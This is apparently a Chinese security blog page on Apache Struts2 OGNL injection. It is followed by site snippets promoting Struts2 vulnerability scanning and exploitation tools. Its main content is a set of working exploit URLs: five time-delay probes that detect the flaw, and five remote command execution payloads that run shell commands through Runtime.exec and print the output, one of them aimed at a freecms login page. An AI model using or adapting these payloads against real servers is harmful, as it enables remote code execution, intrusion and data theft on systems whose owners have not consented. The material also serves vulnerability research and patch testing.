struts2安全漏洞
http://netsecurity.51cto.com/art/201305/395081.htm
http://zone.wooyun.org/content/3880
http://www.freebuf.com/vuls/9757.html
演示DEMO下载:
http://pan.baidu.com/share/link?shareid=495946&uk=1076602916
利用代码: 检测是否存在:
POC1:
http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(5000)')(d))
POC2:
http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000))%2b'
POC3:
http://127.0.0.1/Struts2/hello.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,@java.lang.Thread@sleep(5000))(meh%29&z[%28foo%29%28%27meh%27%29]=true
POC4:
http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d+new+java.lang.Boolean(false)%2c+%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c+%23a%3d%40java.lang.Thread@sleep(5000))(aa)&x[(class.classLoader.jarPath)('aa')]
POC5(执行了两次所以是10秒):
http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000)}
执行CMD命令:
关于回显:webStr\75new\40byte[100] 修改为合适的长度。
POC1:
http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(h)(('\43webRootzpro\75@java.lang.Runtime@getRuntime().exec(\43req.getParameter(%22cmd%22))')(d))&(i)(('\43webRootzproreader\75new\40java.io.DataInputStream(\43webRootzpro.getInputStream())')(d))&(i01)(('\43webStr\75new\40byte[100]')(d))&(i1)(('\43webRootzproreader.readFully(\43webStr)')(d))&(i111)(('\43webStr12\75new\40java.lang.String(\43webStr)')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\43xman.getWriter().println(\43webStr12)')(d))&(i99)(('\43xman.getWriter().close()')(d))&cmd=cmd%20/c%20ipconfig
POC2:
http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[100],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result))%2b'&cmd=cmd%20/c%20ipconfig
POC3:
http://127.0.0.1/freecms/login_login.do?user.loginname=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=%20new%20java.lang.Boolean(false),%23_memberAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result))&z[(user.loginname)('meh')]=true&cmd=cmd%20/c%20set
POC4:
http://127.0.0.1/Struts2/test.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23a=%40java.lang.Runtime%40getRuntime().exec(%23req.getParameter(%22cmd%22)).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5b50000%5d,%23c.read(%23d),%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%23d),%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]&cmd=cmd%20/c%20netstat%20-an
POC5:
http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result),%23response.close()}&cmd=cmd%20/c%20set
发几张图证明下:
相关:
http://ahack.iteye.com/blog/1858871
http://ahack.iteye.com/blog/1873005
相关推荐
Struts2的安全漏洞主要包括以下几类: 1. OGNL(Object-Graph Navigation Language)表达式注入:这是Struts2最著名的漏洞类型,由于框架在处理用户输入时没有进行充分的过滤和验证,攻击者可以通过构造恶意的OGNL...
"Struts2漏洞检查工具2018版.zip"这个压缩包很可能包含了专门用于检测Struts2框架是否存在这些安全漏洞的工具。`Struts2漏洞检查工具2018版.exe`可能是一个可执行程序,用户可以运行它来扫描自己的系统,查找任何...
然而,随着时间的推移,Struts2框架出现了一些安全漏洞,这些漏洞可能被恶意攻击者利用,对服务器造成严重威胁。"Struts2漏洞利用工具2019版 V2.3.zip" 是一个针对这些安全漏洞的检测和利用工具,用于帮助安全研究...
然而,由于其广泛的使用,Struts2也成为了黑客攻击的目标,因为其历史上存在一系列的安全漏洞。 标题中的"Struts2漏洞检查工具2018版.rar"指的是一个专门针对Struts2框架的2018年发布的漏洞检测工具。这个工具可能...
然而,随着时间的推移,Struts2框架发现了一系列的安全漏洞,这些漏洞可能被恶意攻击者利用来执行任意代码,对系统安全构成严重威胁。本"Struts2漏洞检查工具2017版"正是针对这些问题而设计的,它包含了对多个已知...
然而,Struts2在历史上曾出现过一系列的安全漏洞,其中一些是高危的,允许攻击者执行远程代码或控制系统。这个"Struts终极漏洞利用工具"显然旨在帮助安全研究人员和管理员检测和测试Struts2应用是否存在这些已知漏洞...
Struts2安全漏洞扫描工具 - 基于Python开发,包含21个文件,如WAR、GITIGNORE、LICENSE、MD、PY、TXT和JSP等。该项目为用户提供了一个Struts2安全漏洞扫描工具,通过界面交互和功能模块,为用户提供了一个高效、易用...
然而,Struts2在过去的几年里遭遇了一系列的安全漏洞,这些漏洞可能使攻击者能够远程执行代码,从而对系统造成严重威胁。 标题提及的“Struts2漏洞利用工具”是一种用于检测Struts2框架是否存在已知安全漏洞的工具...
然而,Struts2在历史上曾出现过多个安全漏洞,这些漏洞可能导致远程代码执行(RCE)、信息泄露和其他严重后果,对企业的信息系统安全构成重大威胁。"struts2 漏洞利用工具.rar"这个压缩包很可能包含了一系列用于检测...
这个标题提到的是一个全面的Struts 2漏洞检测工具,旨在帮助开发者和安全专家识别并修复Struts 2框架中的各种安全漏洞。 Struts 2的安全问题主要源于其OGNL(Object-Graph Navigation Language)表达式语言的使用,...
然而,Struts2在历史上存在一系列的安全漏洞,这些漏洞可能导致远程代码执行(RCE)、信息泄露和其他严重的安全问题。本篇文章将深入探讨Struts2的安全漏洞以及如何进行修复。 一、Struts2安全漏洞概述 1. CVE-...
然而,随着时间的推移,Struts2框架发现了一系列的安全漏洞,这些漏洞可能导致远程代码执行、敏感信息泄露等严重后果。因此,对于使用Struts2的开发者和系统管理员来说,定期进行Struts2漏洞检查至关重要。 Struts2...
然而,随着其广泛应用,Struts2框架也暴露出一系列的安全漏洞,其中2017年的一些漏洞尤其引人关注。本工具集合了针对这些漏洞的利用工具,帮助安全研究人员和系统管理员识别和修复潜在问题。 首先,我们要了解的是...
然而,Struts2在历史上曾出现过一些严重的安全漏洞,其中最臭名昭著的是“CVE-2017-5638”漏洞,也被称为“Struts Shiro”或“Apache Struts2远程代码执行漏洞”。这个漏洞允许攻击者通过恶意构造的HTTP请求头来执行...
然而,如同任何复杂的软件系统一样,Struts2在它的生命周期中也暴露出了一些安全漏洞,其中一些可能导致严重的安全问题,比如远程代码执行(RCE)。 标题中的“Struts2漏洞利用工具2016版”很可能是指针对2016年...
1. **漏洞探测**:扫描目标服务器,识别是否存在Struts2的特定版本或其他已知安全漏洞。 2. **攻击模拟**:构造特定的HTTP请求,触发远程代码执行,验证漏洞有效性。 3. **后渗透操作**:一旦漏洞被成功利用,工具...